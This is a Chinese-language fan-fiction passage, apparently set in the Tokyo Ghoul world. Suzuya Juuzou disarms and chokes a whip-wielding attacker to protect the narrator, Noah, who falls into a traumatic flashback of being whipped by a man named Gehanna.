他的手腕轻轻一抖，像钓鱼的人收竿前轻巧地一扬手腕，力量传递到鞭尖的时候被放大了无数倍，黑红色的鞭子在空气中画出一道几乎看不见的弧线，途经的空气被撕裂，发出一声尖锐的、宛如活物般的尖叫。
咻——
我向右偏了下头，细长的影子擦着我的耳边飞过，风压刮过脸颊，温热的液体立刻沿着耳廓流下来，在领口聚成一条细细的红色水流。
铃屋什造瞬间动了。
当鞭影还在空中撕扯着空气发出尖叫的时候，他已经从侧面切入，右手精准地探入了卡尔手掌之间。
卡尔还没来得及松手，他的手指还扣在握柄上，下一秒，库因克已经易主。
“你是可疑的人。”铃屋什造喃喃自语，“我答应篠原先生，如果有可疑的人想伤害诺亚小姐，我要站在她前面保护她。”
长鞭缠上了卡尔的脖颈，紧贴着他的皮肤收紧。铃屋在同一瞬间绕到了卡尔身后，右膝顶住对方的腰窝，：扯着鞭用力一拉，卡尔的喉咙里立刻挤出一个破碎的气音。他的脸因为窒息而涨红，红色从脖子开始往上蔓延，漫过下颌，漫过颧骨，漫过额头。
铃屋什造却仿佛只是做了一件微不足道的小事，银色的发丝垂落在肩侧，和着脖子转动带起的气流轻轻晃了一下。
“诺亚小姐，要杀掉他吗？”
他回过头。话说到一半，视线才终于落到了我的身上。
“诺亚小姐……？”
他的声音戛然而止。
轮椅上的女人不知什么时候突然摔到了地上。
鞭子划破空气时，一段记忆从被压在心里最深处的石头下面爬了出来，我的头发散了一地，在惨白的射灯下像一摊被打翻了的颜料。
铃屋什造的眼睛不由得睁大了一些，他从来没有见过我这个样子，从我们见面到现在，我一直在笑，一直在照顾他。现在我跪在地上，头发散落，浑身发抖，像一条被冲上岸的鱼。
地行博士第一个反应过来，他朝着我的方向迈出一步，手伸了出来，指尖快要碰到我的肩膀。
“诺亚博士——”
「诺亚。」
幻觉又出现了。
声音撕开空气的瞬间，眼前的世界也一同碎了。陈列室的射灯一盏一盏地熄灭，金属支架一根一根地融化。旧日的幽灵从裂隙里渗出来，脓液从陈年的伤口里挤出来，不可阻挡地淹没了一切。它沿着我的脚踝往上爬，裹住我的腰，勒住我的胸口，最后灌进我的口鼻。
我的耳朵在流血，猩红的液体一滴滴往下淌，滴在肩膀上，滴在柔软的地毯上。但那不是血的声音，我听到的是另一种液体滴落的声音——是水，是酒杯上凝结的水珠缓慢滑落，在办公室里激起的永无停歇的回音。
嘀嗒。
嘀嗒。
一根手指抵住我的下巴，把我的头抬起来。
「诺亚。」
我的下颌往上抬了一下，指甲嵌进我的皮肤里。
「我说过多少次了？」
哥汗纳微笑着，马鞭重重的抽在我的背上。
血渗出来的速度比眼泪还快。
「你还不认错吗？」